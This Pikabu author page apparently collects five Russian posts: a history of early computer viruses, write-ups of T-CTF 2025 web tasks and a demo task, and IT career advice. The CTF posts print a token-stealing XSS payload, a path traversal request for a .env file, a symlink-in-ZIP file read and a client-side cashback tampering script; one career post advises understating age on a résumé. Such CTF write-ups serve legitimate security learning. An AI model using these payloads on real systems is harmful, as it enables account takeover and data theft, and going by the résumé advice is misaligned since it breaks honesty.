SapSanich

На Пикабу
291 рейтинг 3 подписчика 10 подписок 5 постов 2 в горячем
Награды:
За успехи в мемологии
10

Первый компьютерный вирус

Братья из Пакистана создатели вируса Brain

Братья из Пакистана создатели вируса Brain

Принято считать, что впервые механика подобная компьютерным вирусам была описана математиком Джоном фон Нейманом в работе под названием “Теория самовоспроизводящихся автоматов” ~ 1940-ых годах.

Суть работы гласит:

Самовоспроизводящаяся машина — это тип автономного робота, способного воспроизводить себя автономно, используя сырье, найденное в окружающей среде, тем самым демонстрируя самовоспроизводство способом, аналогичным тому, который встречается в природе. (Википедия (с))

Creeper

Одним из первых вирусов в понимании самовоспроизведения считается “Creeper”.

Вирус не являлся вредоносным в полноценном понимании, так как в процессе своего перемещения на новый жесткий диск вирус удалялся с предыдущей машины и просто выводил надпись:

I’M THE CREEPER… CATCH ME IF YOU CAN

(перевод: Я КРИПЕР... ПОЙМАЙ МЕНЯ ЕСЛИ СМОЖЕШЬ)

Вирус был создан сотрудником Бобом Томасом из компании BBN с целью проверки теории самовоспроизводящихся машин.

Что примечательно, затем другим сотрудником BBN Рэем Томлинсоном был создан другой вирус “Reaper”, который перемещался аналогичным путем и в случае нахождения “Creeper” удалял его из системы.

Brain

Считать одним из первых вирусов для платформы IBM можно вирус “Brain”, который довольно быстро перешел в эпидемию.

И здесь история создания еще более интересна.

Два брата из Пакистана — Басит Фарук Алви (17 лет) и Амджад Фарук Алви (24 года) — занимались разработкой собственного ПО для отслеживания показателей сердечно-сосудистой системы в 1986 году.

Программа пользовалась успехом, в том числе и у пиратов.

Разработчики решили защитить своё ПО, написав вирус, который бы распространялся самостоятельно и если находил копию их медицинского ПО, то удалял её.

Стоит отметить, что решение довольно необычное :)

Вирус распространялся путем заражения загрузочного сектора пятидюймовых дискет, что приводило к снижению производительности. Из дополнительных действий вирус создавал на дискете запись: “(c) Brain” и выводил сообщение, что компьютер заражен, для устранения — позвоните по номеру телефона организации, где работали братья.

Масштаб распространения оказался настолько огромным, что вирус заразил компьютеры за пределами Пакистана, и огромное количество людей начали звонить, требуя удалить им вирус. В итоге братьям пришлось сменить номер телефона.

В 2020 году братья сняли небольшой документальный фильм о своем компьютерном вирусе, видео доступно на YouTube:

https://www.youtube.com/watch?v=5v7olrVYAVY

На изображении в посте — те самые братья Басит и Амджад Фарук Алви уже в настоящем времени, владельцы крупного интернет-провайдера в Пакистане “Brain Net”.


P.S. Всех с майскими праздниками! Мир, Труд, Май! :)

И конечно подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью
0

Итоги T-CTF 2025

Всех православных с прошедшим праздником Светлой Пасхи!

Завершился конкурс T-CTF 2025.

Хотелось бы выразить благодарность организаторам за организацию такого масштабного мероприятия.

Всё было круто: интересные задания, и отдельно хотелось бы выделить общую концепцию, вокруг которой строился конкурс.

Промежуточные итоги

Промежуточные итоги

Всё происходило в вымышленном городе Капибаровск, где необходимо было помочь капибарам в решении их проблем.

Из наблюдений хочу отметить, что организаторы взяли курс на больший охват аудитории из сопутствующих сфер (разработка, тестирование, QA, аналитики) и действительно командную работу. Обеспечили деление на две лиги: безопасности и разработки.

Мне кажется, это очень правильное решение — нужно увеличивать общее понимание практик инфобеза в индустрии.

Решал задания преимущественно по направлению web, могу отметить следующее.

Уровень сложности заданий и порог входа снизился. С учётом данного фактора, когда сложность решения задач снизилась, начал серьёзно играть фактор количества решённых задач в турнирной таблице, и здесь уже имеют преимущество полные команды в 3 человека.

Понравилось разнообразие задач: веб, инфраструктурные, шифрование, разбор трафика, сети, разработка.

Очень часто встречались задания на техническую логику и смекалку. Немного смутило, что это в объёме начало превращаться в какой-то общий типаж заданий, которых было немало. Как понимаю, это задания для широкого круга, но тем не менее.

Из личных результатов: выполнил 10 из 30 заданий, но думаю, можно было показать лучший результат. Задания решал один, без команды.

Постараюсь дать краткий обзор заданий, которые решал и чем-то запомнились.

Капибальпы

Простая сложность

Пранк над сноубордистами... да, с него и началось великое противостояние лыж и сноуборда в Капивеле.

На сайте горнолыжки в Капибальпах появилась новая функция. Капибары могли переводить минуты катания со своего ски-пасса друзьям. Например, если не успевали потратить всё до отъезда. Лыжники решили подшутить над сноубордистами: похитить всё их время катания до последней минуты.

Помнишь, как ты помог им это провернуть?

Первое задание после старта соревнований. Есть виртуальная валюта — минуты катания на склоне. Можно создавать страницу донатов со сбором минут. Здесь и кроется недочёт в логике.

Создаём под сноубордистом сбор донатов, под лыжниками переводим отрицательное число. Фактически загоняем сноубордиста в минус, а у лыжника, который "задонатил" отрицательное число, появляется нужный баланс. В ачивках профиля наблюдаем ключ.

Капибординг

Простая сложность

А это то, чем всё закончилось.

Сноубордистам захотелось восстановить справедливость после пранка лыжников. Ты придумал способ вернуть их время.

Лыжники активно критиковали сноубордистов в комментариях на страницах сноубордических донатов, а ты смог обратить это против них.

Продолжение первого задания, нужно помочь сноубордистам капибарам вернуть минуты обратно.

На всех страницах донатов от сноубордистов приходят лыжники и пишут гадости в комментариях. Наша задача — воспользоваться этим моментом.

Путем небольшого изучения выяснилось, что при создании донатов в заголовке и описании отсутствует должная фильтрация. Это позволяет опубликовать донат с XSS-уязвимостью, который выполнится у лыжника, пишущего гадости.

Доступа к внешней сети у лыжников, как выяснилось, нет — пришлось немного хитрить.

У меня получился следующий код:

<img src="/" onerror='fetch("/api/donation-pages/{ID_ОТДЕЛЬНОГО_ДОНАТА}/comments", {"headers": { "authorization": "Bearer " + localStorage.getItem("token"),"content-type": "application/json"},"body": "{\"content\":\"my token: " + localStorage.getItem("token") + "\"}","method": "POST","mode": "cors","credentials": "include"});'>

Был создан отдельный донат, куда в комментарии будут отправляться сообщения от лыжника, посетившего страницу, с его токеном. Используем полученный токен, подменяем у себя, переводим баланс обратно сноубордисту и забираем ключ в профиле.

Капибасни

Средняя сложность

Новости Капибаровска! В Лицее 42 вместо учителей литературы работает нейросеть. В нее загрузили учебный план, а капибарятам выдали доступ к чату.

Но на уроке по басням Ивана Лапкова нейронка сломалась. Теперь она не преподает, а раздает житейские мудрости направо и налево.

Почините учебный план, чтобы лицеисты снова могли спокойно учиться.

Предоставляется исходник и сам стенд для тестирования.

Регистрируемся на стенде и нужно сформировать учебный план для ученика так, чтобы по каждой из дисциплин набиралось необходимое количество занятий.

При регистрации для пользователя создаются задания от имени учителей, которые ученик не может удалить. Загвоздка в том, что от имени учителя Литературы создано слишком много заданий, а просто удалить их нельзя.

Задача: удалить лишние предметы из учебного плана и набрать отсутствующие, затем запустить учебный план.

Путем анализа исходников можно заметить, что в методе BulkDeleteLessons некорректно проходит проверка владельца урока. Это позволяет удалять даже учительские уроки - хотя система выкидывает ошибку, фактически удаление происходит.

func BulkDeleteLessons(s storage.Store) gin.HandlerFunc {

return func(c *gin.Context) {

var req BulkDeleteRequest

if err := c.ShouldBindJSON(&req); err != nil {

c.JSON(http.StatusBadRequest, NewWrongJsonDataError())

return

}

if len(req.IDs) == 0 {

c.JSON(http.StatusBadRequest, NewNoIDsProvidedError())

return

}

userID, exists := c.Get("user_id")

if !exists {

c.JSON(http.StatusUnauthorized, NewUnauthorizedError())

return

}

lessons, err := s.Lessons().BulkFindByIDs(userID.(uint), req.IDs)

if err != nil {

logger.Errorf("api.BulkDeleteLessons: %v", err)

c.JSON(http.StatusInternalServerError, NewDbError())

return

}

for _, lesson := range lessons {

if lesson.Owner != model.LessonOwnerStudent {

//ЗДЕСЬ ПРОБЛЕМА! ПРОПУЩЕН RETURN ПОСЛЕ СТАТУСА ОБ ОШИБКЕ!

c.JSON(http.StatusForbidden, NewNoPermissionsError())

}

if err := s.Lessons().Delete(lesson.ID); err != nil {

logger.Errorf("api.BulkDeleteLessons: %v", err)

c.JSON(http.StatusInternalServerError, NewDbError())

}

}

c.JSON(http.StatusOK, NewLessonsDeletedMessage())

}

}

Формируем запрос к API через массовое удаление, включая предметы учителя литературы. Затем добавляем в освободившийся учебный план новые предметы и нажимаем кнопку начала плана для получения ключа.

Капибратство

Средняя сложность

Студенческое капибратство «Тета Каппа» устроило испытание для первокурсников: они должны похитить билеты к экзаменам с сервера института.

Подмените их на другие — вымышленные. Не только же студентам можно дурачиться!

Предоставляется сам стенд и исходник.

Задача — прочитать флаг. Путем изучения исходников понимаем, что происходит локальное чтение файлов билетов. Сам ключ лежит в файле: .env.dist.

В исходниках наблюдаем следующий код:

class HTTPTicketController(Controller):

path = "/ticket"

@Route(http_method=HttpMethod.GET)

@inject

async def get_ticket(

self,

course_id: Annotated[str, Body(description="Course ID", title="Course ID")],

ticket_id: Annotated[str, Body(description="Ticket ID", title="Ticket ID")],

get_ticket_interactor: Depends[GetTicketInteractor],

) -> TicketSchema:

try:

ticket = await get_ticket_interactor(

course_id=str(course_id), ticket_id=str(ticket_id)

)

if not ticket:

raise HTTPException(

status_code=HTTPStatus.NOT_FOUND, detail="Ticket not found"

)

return TicketSchema(text=ticket)

except (FileNotFoundError, PermissionError):

raise HTTPException(

status_code=HTTPStatus.NOT_FOUND, detail="Ticket not found"

)

Который ссылается на get_ticket_interactor, а тот в свою очередь проваливается в метод:

async def read_ticket_file(

self, base_path: str, course_id: str, ticket_id: str

) -> str | None:

file_path = Path(base_path) / (course_id + "/" + ticket_id).replace(

"../", "replaced"

)

try:

if not file_path.is_file():

raise FileNotFoundError("File not found")

return file_path.read_text()

except (FileNotFoundError, PermissionError):

raise FileNotFoundError("Error accessing file")

Как видим, происходит чтение файла и некоторая защита от локального чтения с заменой: ../ на replaced, но явно недостаточная.

Формируем запрос вида: /api/ticket?course_id=&ticket_id=/app/.env.dist

Получаем содержимое ключа.

Капибарбер

Средняя сложность

Капибарбершоп Лапы-ножницы выпустил свое приложение. Перед стрижкой клиенты загружают туда референсы, а капибарбер получает пошаговую схему работы.

Кто-то загрузил файл странного формата — и остальные референсы пропали. Теперь всем подряд стригут каре, капибарочки в шоке, а капибизнесмены гуглят магазины париков.

Разберитесь, что произошло, и по дороге забирайте файл flag.txt

Предоставляется исходник и сам стенд.

Задача — забрать файл flag.txt, который хранится в недоступном из веба месте.

При изучении работы приложения обращаем внимание, что перед отправкой изображения (как будет выглядеть капибара после стрижки) происходит сжатие файла в ZIP-архив. Этот архив затем распаковывается на сервере и выкладывается в директорию, доступную из паблика.

Локально формируем symlink с указанием пути к флагу на диске, после чего добавляем эту ссылку в ZIP-архив. Затем загружаем данный архив через API.

После распаковки архива на сервере мы получаем публичную ссылку, которая ведёт на файл с ключом.

Переходим по ссылке — получаем флаг.

В заключение хочу сказать, что часть заданий действительно была посильна для решения даже без глубоких знаний в инфобезе.

Поэтому, если у вас есть желание, рекомендую присоединиться и попробовать свои силы в следующем году — даже если вы далеки от тематики информационной безопасности!


P.S. Отдельно хочу подчеркнуть законность и цели этого мероприятия, так как в прошлом посте появились люди, по причине явного непонимания критикующие такую деятельность.

Главная цель — не обучение кражи данных (статью 272 УК РФ никто не отменял!), а понимание принципов работы уязвимостей. Заниматься кражей данных и воровством чужого это плохо. Денег которые стоят того, что вас посадят нет.

Разработчикам и людям задействованным в IT, критически важно разбираться в этих механизмах, знать уязвимости и способы их реализации. Только так мы сможем предотвратить ситуации, когда данные компаний в стране утекают с пугающей регулярностью. Именно для этого и рассказывают о такой активности широкой аудитории.


И конечно подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью 1
15

CTF

Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках.

Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы.

Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами).

Делятся на направления: веб, приложения, инфраструктура, криптография и т.д.

В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка.

Это не реклама, за это к моему глубокому сожалению мне никто не платит :) Просто интересный конкурс для разминки мозгов.

Формат соревнований — офлайн и онлайн.

Ссылка на соревнование: https://t-ctf.ru/

Все желающие могут принять участие и прикоснуться к миру информационной безопасности.

В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований.

Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудности, прибегнуть к помощи и узнать, как решается то или иное задание.


Регистрируемся на соревновании и получаем список заданий.

Например, попробуем «расковырять» задание «Капибонус» самостоятельно.

Описание задания:

Простое демо-задание — пример того, с чем можно столкнуться в Лиге разработки на простой сложности.

Добро пожаловать в Капиплейс — новый маркетплейс города.

Здесь за покупки дают возможность крутануть колесо Фортуны и выиграть разные призы. Да только никто ничего не может выиграть, хоть и тратят много денег. Попахивает мошенничеством!

Выиграйте 313 337 ₡ и выкупите алгоритм колеса у супермаркета, чтобы впредь удача улыбалась каждому покупателю.

Перейдем по ссылке из личного кабинета — перед нами открылся обычный интернет-магазин. Регистрируемся.

Главная страница нашего интернет магазина

Главная страница нашего интернет магазина

Имеем следующие вводные:

Есть интернет-магазин, который дает приветственный бонус в виде 100 единиц для оплаты товаров.

При оплате есть возможность поучаствовать в розыгрыше и покрутить рулетку, которая предоставляет:

  • возврат 200% от стоимости товара;

  • вычитается с вашего счета минус 10%/20%/50% от стоимости товара;

  • 0 — не выиграли, не проиграли.

Также мы видим товар с названием: «Алгоритм Колеса Фортуны». Как можно догадаться, нам необходимо выкупить данный товар для решения задания.

Из очевидных моментов — это возможность рассмотреть сам механизм начисления бонусов и понять, как можно увеличить наш стартовый баланс из 100 до необходимой суммы в 313 337 единиц благодаря данному розыгрышу.

Откроем консоль разработчика (F12), вкладку Network в режиме «Preserve log», чтобы история запросов сохранялась после обновления страницы.

Добавим какой-нибудь недорогой товар, чтобы средств хватило на большее количество тестов, и попробуем его приобрести.

Запрос для добавления товара:

POST https://{HOSTNAME}.spbctf.org/cart/add/119

body пустое

В качестве указателя товара используется идентификатор в GET — 119. Товары хранятся в сессии.

HTTP запрос на добавление товара

HTTP запрос на добавление товара

Попробуем приобрести товар: перейдем в корзину и нажмем на кнопку «Оплатить».

Для оформления заказа запрос уходит на метод:

POST https://{HOSTNAME}.spbctf.org/checkout

body пустое

HTTP запрос на оплату

HTTP запрос на оплату

После завершения с нас списываются средства, и нас переводит на страницу с номером заказа.

Далее нам предлагается поучаствовать в самой рулетке — нажимаем на кнопку «Покрутить!».

Сам розыгрыш кэшбэка

Сам розыгрыш кэшбэка

Мне повезло с первого раза: выпал кэшбэк на 200 процентов :)

Запрос рулетки:

POST https://{HOSTNAME}.spbctf.org/order/24140/set-cashback

BODY: {"cashback": 200}

И вот здесь стоит обратить внимание: в теле метода set-cashback мы видим указание на применяемый кэшбэк в 200.

Фактически сам кэшбэк рулетки определяется на стороне клиента (фронтенд), а затем уже сообщается серверу о том, какой результат выпал!

Так как мы можем влиять на запросы, которые от нас уходят, мы фактически можем подменять результаты всех розыгрышей на 200% кэшбэк.

Отлично, это уже способ нарастить баланс!

Попробуем расковырять его дальше и проверить, можем ли мы получить кэшбэк в размере, например, 20000%.

Повторяем операцию: добавляем товар и оформляем заказ.

При указании числа большего, чем 200, выдает статус 303, и кэшбэк не применяется.

Самый простой способ не удался — не получилось вписать большой процент, но рабочий механизм наращивания кэшбэка у нас уже есть.

Будем его использовать!

Наша задача — создать такое количество запросов, которое позволит нам получить баланс для оплаты товара на сумму 313 337.

Поехали: попробуем воспроизвести цикл добавления товара, оформления заказа и кэшбэка автоматически, чтобы не воспроизводить это дело руками.

Делать это будем там же, в консоли разработчика.

Запросы у нас уже есть в консоли — копируем их правой кнопкой мыши: «Copy as fetch».

Копируем исходные запросы

Копируем исходные запросы

Для реализации подобной логики потребуются небольшие знания программирования на JavaScript.

Сам запрос у нас уже есть — нужно составить цепочку запросов, которые идут друг за другом, и еще вытащить номер заказа для передачи следующему методу.

Давайте попробуем составить эту цепочку и выполнить в консоли.

Единственный момент: на самом сервисе магазина происходит редирект с HTTPS на HTTP, поэтому была добавлена опция в fetch: referrerPolicy: "unsafe-url", чтобы проигнорировать предупреждения браузера.

Вставляем все это дело в консоль разработчика и отправляем:

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function(response) {

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

})

})

Вставляем все это дело в консоль разработчика

Вставляем все это дело в консоль разработчика

Отлично, баланс изменяется автоматически после каждого выполнения кода в консоли.

Обновим товар на более дорогой, чтобы получать больший кэшбэк.

В строке добавления в корзину меняем 119 на ID нужного товара.

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119"

Посмотреть идентификатор товара можно через вкладку Network при добавлении товара либо через Elements в консоли разработчика (ПКМ на кнопке «Купить» → «Просмотреть код»).

Получение нужного идентификатора товара

Получение нужного идентификатора товара

Теперь автоматизируем отправку запросов в цикле, чтобы не вызывать их вручную.

Добавим цикл и сделаем так, чтобы запросы выполнялись последовательно. Для этого используем async/await.

Итоговый код:

for (let i = 0; i < 9; i++) {

await fetch("https://{HOSTNAME}.spbctf.org/cart/add/124", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

await fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function(response) {

console.log(response);

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

await fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

});

});

}

На выходе получаем конструкцию, которая позволяет наращивать баланс благодаря уязвимости в механизме кэшбэка.

Когда баланс достигает 313 337 ₡, покупаем товар «Алгоритм Колеса Фортуны», получаем ключ и вводим его в личном кабинете CTF.

Получили итоговый ключ для выполнения задания!

Получили итоговый ключ для выполнения задания!

Задание выполнено!

Подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью 8

Войти в IT. Начало

Всем привет!

Обратил внимание, что тема с входом в IT довольно животрепещущая, хоть и мнения в предыдущем посте сильно разделились :)

Я веду Телеграм канал об IT, один из цикл моих статей был как раз о начале работы и первых шагах.

Так получилось, что в одном из комментариев на сайте я прикрепил ссылку на свой канал и отклик с Пикабу получился неплохой, если пользователям сайта данная тематика будет интересна, я буду рад продолжать публиковать на сайте свои посты.

Так скажем, это будет проба пера :)


Первый пост хотелось бы посвятить теме входа в IT, так как в последние годы наблюдается тренд на миграцию специалистов из неайтишных профессий в IT. Я часто замечал, что многие люди интересуются возможностью сменить профессию и начать карьеру в этой сфере.

Поэтому, учитывая свой собственный путь и оглядываясь назад, я подумал, что будет полезно рассказать тем, кто интересуется работой в IT, но не имеет опыта, о возможностях, направлениях и способах реализации такого перехода или начала карьеры.

Скажу очевидное, но самое важное — выбрать для себя направление, которое вам действительно интересно.

Это ключевой момент в вашей будущей профессиональной деятельности, так как интерес к делу обеспечивает мотивацию для самообучения (помимо финансовой составляющей, разумеется). Ваш профессиональный рост на 85% будет состоять из самообразования, и именно от этого зависит уровень ваших компетенций и, как следствие, уровень дохода.

Например, мне в детстве было интересно, как работают программы и сайты, и это увлечение привело меня в сферу разработки. В юности я самостоятельно начал изучать программирование на Delphi, затем увлекся веб-разработкой и начал получать свой первый коммерческий опыт на фрилансе, затем уже трудоустроился на постоянную работу.

Отдельно хочу подчеркнуть, что многие люди просто работают, выполняют свои задачи и не стремятся к постоянному самообучению.

Такой подход тоже имеет право на существование, но если вы хотите вырасти как специалист, достичь высокого дохода и сделать это быстрее, чем это произойдет само собой (например, благодаря появлению новых задач, которые потребуют от вас новых навыков), то лучшим подспорьем для этого будет искренний интерес, горящие глаза и четкое понимание, куда двигаться и что изучать. Тему “куда двигаться и как” я раскрою в следующих постах.

Не буду лукавить: если вы были далеки от IT, путь будет тернистым, но посильным. Причем его сложность во многом зависит от выбранного направления.

Также отмечу важный момент: предрасположенность к определенному виду деятельности может влиять на скорость усвоения материала, но, как и в спорте, важны не только природные данные, но и усердие, которое вы прикладываете для достижения результата.


Практика и теория

Перед тем как перейти к описанию направлений деятельности, я хотел бы отметить два важных момента.

Первый момент: чтобы научиться что-то делать, важно это начать делать.

Второй момент: как говорил великий русский полководец Александр Васильевич Суворов:

“Теория без практики мертва, практика без теории слепа”

Фактически ваш профессиональный путь будет состоять из двух аспектов: практики и теории.

Небольшой кейс из жизненного опыта. Изначально я самоучка. Тот опыт, который я получал, я приобретал самостоятельно, руководствуясь принципом “бери и делай”. Могу сказать, что это вполне рабочий способ, но, оглядываясь на пройденный путь, я понимаю, что отсутствие систематической теории сказывалось на скорости моего становления как специалиста.

Что это значит? Теоретическую базу я получал урывками, читая материалы по мере необходимости или получая советы от коллег. Теоретическая база, которая могла бы быть у меня изначально, могла бы сэкономить годы, которые я потратил на то, чтобы прийти к этим знаниям через опыт. Это тормозило мой рост.

Впоследствии, уже будучи опытным специалистом, проработав длительное время и имея общее представление о своей области знаний, я целенаправленно изучал профессиональную литературу, даже ту, что, как мне казалось, я уже знал. Даже спустя годы практики она помогала мне заполнять пробелы и структурировать имеющиеся знания. Можно сказать, что это были “кирпичики”, которые достраивали стену моего опыта.

Теория необходима для устранения слепых зон и понимания того, как и что работает внутри, как правильно делать.

Сейчас я понимаю, что если бы я уделял больше внимания теории изначально и совмещал её с практикой, то как специалист я сформировался бы гораздо раньше.

Поэтому, когда вы будете осваивать свою профессию, важно уделять равное внимание как теории, так и практике. Так ваш рост будет происходить в разы быстрее. Неважно, проходите ли вы курсы или читаете книги, — обязательно находите время и для изучения теории, и для практики. Это, конечно, в большей степени касается технических специалистов, но, думаю, применимо к любой сфере.

Подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью
167

Ответ на пост «Хочу поменять работу»8

Могу сказать на моем опыте в ИТ был дядька, на тот момент ему было 50 с лишним лет. Делал работу правда не очень быстро, но вполне представлял результат, причем вполне качественный.

Работал разработчиком фронтенда на Ангуляре. На самом деле до него я был уверен, что после 40 мозги работают по другому и уже сложно начать в ИТ. Он самоучка, начинал как понимаю как раз после 50. Нормально работал, даже интересно было наблюдать за ним. Причем даже интереснее было общаться на отвлеченные общие житейские темы, что вполне компенсировало ту скорость, которую он выдавал. Сейчас как понимаю ему уже за 60.

Причем важный момент, средний возраст у нас был лет 25 наверное (хотя конечно дядька размывал этот возраст :) ), но вполне прижился, относились с уважением.

Думаю все возможно при желании. Если что, пишите, чем смогу помогу, расскажу.

Не рекламы ради, но прикреплю ссылку на телеграмм канал, материал как раз по теме входа в ИТ.

https://t.me/CTOthoughts/10

Там подборка статей по теме начала работы в ИТ. Как получить первый оффер, как начать и т.д.

Причем действительно как отметили в комментариях в сфере присутствует эйджизм, когда из-за возраста могут вполне просто пропустить. Рекомендую, попробовать снизить возраст на несколько лет условно до 40 с лишним (конечно плохо обманывать, но цель оправдывает средства).

Причем в начале не гнаться за рублем, а именно получить место работы и опыт. Причем момент с возрастом, не обязательно сильно скажется (когда всплывет), если пройдете техническое интервью. Самое главное понять, что требуется на рынке. Как понимаю опыт работы с ПК уже есть, пробелы подтягивать по мере понимания, что требуется.

В самом резюме рекомендовал бы не сильно углубляться по предыдущим местам, чтобы сильно не отпугивать просматривающих вакансии. Оставить ключевые моменты, которые могут быть применимы к сфере.

Далее добавить в резюме опыт самообучения, прям по максимуму, чтобы был хоть какой-то релевантный опыт. Описать, что умеешь, какими инструментами владеешь. Что проходил, читал и т.д.

В блоке о себе можно пометить, что да понимаю, что без коммерческого опыта, но обладаю сильными качествами и перечислить.

Если требуется, могу с резюме помочь и интервью провести, подсветить моменты которые нужно подтянуть

Показать полностью
Отличная работа, все прочитано!